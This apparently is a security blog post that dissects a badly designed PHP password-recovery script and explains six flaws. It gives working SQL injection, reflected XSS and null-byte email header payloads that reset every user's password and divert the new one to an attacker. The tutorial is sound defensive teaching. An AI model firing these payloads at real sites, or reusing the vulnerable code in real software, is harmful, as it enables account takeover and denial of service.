Exploiting Password Recovery Functionalities

Password recovery functionalities can result in vulnerabilities in the same application they are intended to protect. Vulnerabilities such as username enumeration (showing different error messages when the user exists or not in the database), sensitive information disclosure (sending the password in clear-text by e-mail to user) and recover password message hijack (involving an attacker receiving a copy of the recover password message) are some common vulnerabilities that may be found in a password recovery functionality. Various developers don't take into consideration the real implications of unsecure password recovery, and this blog post will show how things get complicated when developers don't apply basic security practices to this kind of functionality.

An example of a good password recovery functionality generates a token and sends this token by e-mail to the user as a one-time password recovery method (commonly as a link). This token should have the following characteristics:

  • have at least 64 chars in length
  • be unique
  • be random
  • be one-time use only
  • and have a short life (expire in 24h or less)

When a user clicks the link, the application must check if the token is valid. If so, the application must invalidate the token so it can't be reused and allow the user to change his password. Furthermore, if a user attempts to recover their password a second time before completing the recovery process the first time, the application must invalidate the old password request and generate a new one. It's desirable (but not mandatory) to have a second validation for the authenticity of the password recovery attempt before changing the user's password. An example would be asking the user to answer a secret question or confirm data sent to the user's cellphone via SMS.

Now, let's examine a real-world example of a badly designed password recovery system, enumerate all associated vulnerabilities and try to generate exploits for some of these vulnerabilities:

1:  <?php  2:    3:  /* generates a new random password */  4:  function generatePassword() {  5:       $chars = array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9");       6:       for ($i = 0; $i < 10; $i++){            7:            $password .= $chars[rand(0,35)];  8:       }  9:       return $password;  10:  }  11:    12:  /* send the new password to the user e-mail and update the database */  13:  if ($_REQUEST['mail']) {       14:       $con = new Connection();  15:       $con->sql = "  SELECT usr_user.id,   16:                      usr_user.name,   17:                      usr_user.email,   18:                      usr_user.password  19:                  FROM  usr_user   20:                  WHERE  usr_user.email = '" . $_REQUEST['mail'] . "'  21:                  ORDER  BY id DESC ";  22:       $res = $con->executeQuery();  23:       if (is_array($res)){  24:            $usr = $res[0];  25:            $password = generatePassword();  26:            $con->sql = "UPDATE usr_user SET password = MD5(trim('".$password."')) WHERE email = '" . $_REQUEST['mail'] . "' ";  27:            $con->executeQuery();  28:              29:            /* headers */  30:            $headers = "MIME-Version: 1.0\r\n";  31:            $headers .= "Content-type: text/html; charset=iso-8859-1\r\n";  32:    33:            /* aditional headers */  34:            $headers .= "To: " . $usr->name . " <" . $_REQUEST['mail'] . ">\r\n";  35:            $headers .= "From: Administrator <administrator@xxxxxx.com>\r\n";  36:              37:            /* message body */  38:            $html = '<html><body>';  39:            $html .= '<p><strong>' . $usr->name . '</strong></p>';  40:            $html .= '<p>This is the new password: <strong>' . $password . '</strong></p>';  41:            $html .= '<p>To access the administrative panel: http://www.xxxxxx.com/admin/login.php</p>';  42:            $html .= '<br/><p>Administrator</p>';  43:            $html .= '</body></html>';  44:         45:            /* Send e-mail to user with his new password  46:            if (mail($_REQUEST['mail'], "Your new administrative password", $html, $headers)){  47:                 $message = "Your new password was sent to: " . $_REQUEST['mail'];  48:                 $success = true;  49:            }  50:       } else {            51:            $message = "The provided e-mail is invalid";  52:            $success = false;  53:       }  54:         55:  }  56:    57:  ?>  58:    
Username Enumeration:&nbsp;

The first vulnerability we can identify, is a user enumeration vulnerability, because when the user supplies a registered e-mail, the application will reply with "Your new password has been sent to: email@email.com". Otherwise, the application will reply with "The provided e-mail is invalid".

2.&nbsp;&nbsp;&nbsp; Denial of Service:

The second vulnerability we can identify is a denial of service abusing the functionality of password recovery because this application changes the actual password of user to a new/randomly generated password (as you can see in the lines 25-28). That way an attacker could create, for example, an automatic script to abuse the functionality by resetting user passwords every 15 seconds and blocking real users from loggin into the application. And, in combination with a username enumeration vulnerability, the severity of this vulnerability increases.

&nbsp;3.&nbsp;&nbsp;&nbsp; Sensitive Information Disclosure:

The third vulnerability we can identify is sensitive information disclosure because the application sends an e-mail to the user with the newly generated password in clear-text and doesn't force the user to change his password the next time he logs in. So, if an attacker compromises the e-mail of a user and the user forgets to change their password the next time they log in, the application can be accessed by the attacker using the original e-mail message.

&nbsp;4.&nbsp;&nbsp;&nbsp; SQL Injection:

The fourth vulnerability we can identify is&nbsp; SQL Injection. User input is not properly validated and directly concatenated to the query string in the lines 15 and 26. An attacker can exploit this vulnerability in a number of ways.

&nbsp;The first is through denial-of-service by abusing the update query and changing all users password by supplying the following input:&nbsp;

  • Input:' or 1=1%23
  • First SQL becomes (Line 15): SELECT usr_user.id, usr_user.name, usr_user.email, usr_user.password FROM usr_user WHERE usr_user.email = '' or 1=1#' ORDER&nbsp;&nbsp; BY id DESC
  • Second SQL becomes (Line 26): UPDATE usr_user SET password = MD5(trim('xxxxxxxxxx')) WHERE email like '' or 1=1#'

Another attack vector would be using this SQL Injection to recover other types of information from the database via blind queries. Unfortunately we can't use this vector to recover the md5 hash of passwords from the database because all blind requests where the response is "True" will actually change the password of all users when the application executes the update query.

&nbsp;5.&nbsp;&nbsp;&nbsp; Reflected Cross-Site Scripting:

The Fifth vulnerability we can identify, is reflected cross-site scripting. In the reply message provided by the application in line 47, the user input $_REQUEST['mail'] is directly concatenated to the response message (without any treatment) when the application finds a valid username in the database. To exploit this vulnerability we will need to combine this vulnerability with the SQL Injection by supplying the following input to the application:

  • User Input:' or 1=1%23<script>alert(1)</script>
  • First SQL becomes (Line 15): SELECT usr_user.id, usr_user.name, usr_user.email, usr_user.password FROM usr_user WHERE usr_user.email = '' or 1=1#<script>alert(1)</script>' ORDER&nbsp;&nbsp; BY id DESC
  • Second SQL becomes (Line 26): UPDATE usr_user SET password = MD5(trim('xxxxxxxxxx')) WHERE email like '' or 1=1#<script>alert(1)</script>'
  • Response Message (Line 47): Your new password was sent to: ' or 1=1#<script>alert(1)</script>

So, as we can see, the application will accept the input as a valid SQL statement changing all user passwords and will return the message described above to the user browser to trigger the malicious script.

6.&nbsp;&nbsp;&nbsp; Password Recovery Message Hijack:

And last but not least, the sixth vulnerability we can identify is password recovery message hijacking. As we can see in the line 34, the application concatenates the user input $_REQUEST['mail'] directly to the MIME message header instead of using the registered user e-mail. To exploit this vulnerability we will need to combine this vulnerability with the SQL injection vulnerability by supplying the following input to the application:

  • User Input:valid-email@attacker.com%00' or 1=1%23
  • First SQL becomes (Line 15): SELECT usr_user.id, usr_user.name, usr_user.email, usr_user.password FROM usr_user WHERE usr_user.email = 'valid-email@attacker.com[null byte char]' or 1=1#' ORDER&nbsp;&nbsp; BY id DESC&nbsp;
  • Second SQL becomes (Line 26): UPDATE usr_user SET password = MD5(trim('xxxxxxxxxx')) WHERE email like 'valid-email@attacker.com[null byte char]' or 1=1#'
  • MIME Header becomes (Line 34): To: John Smith <valid-email@attacker.com[null byte char]' or 1=1#>

Just like the exploitation of reflected cross-site scripting, the queries 1 and 2 will be valid and will reset the password of all users because doesn't exists a registered e-mail with 'valid-email@attacker.com[null byte char]' and will send a e-mail to John Smith <valid-email@attacker.com[null byte char]' or 1=1#>. But, as we all know, the e-mail MIME header will be treated as a string and the [null byte] will be considered part of that character string. So, as is also known, the null byte represents the end of a character string and because of this behavior will kill the rest of that string. In this case the MIME header becomes John Smith <valid-email@attacker.com>&nbsp;allowing the attacker to hijack the password recovery message and discover the password generated for all users (because all users passwords are changed in the update query).

With this real world example, we can see that a simple password recovery system can possibly add six or more vulnerabilities to an application.

Hope you enjoy! :-)

Keep Hacking!

Trustwave reserves the right to review all comments in the discussion below. Please note that for security and other reasons, we may not approve comments containing links.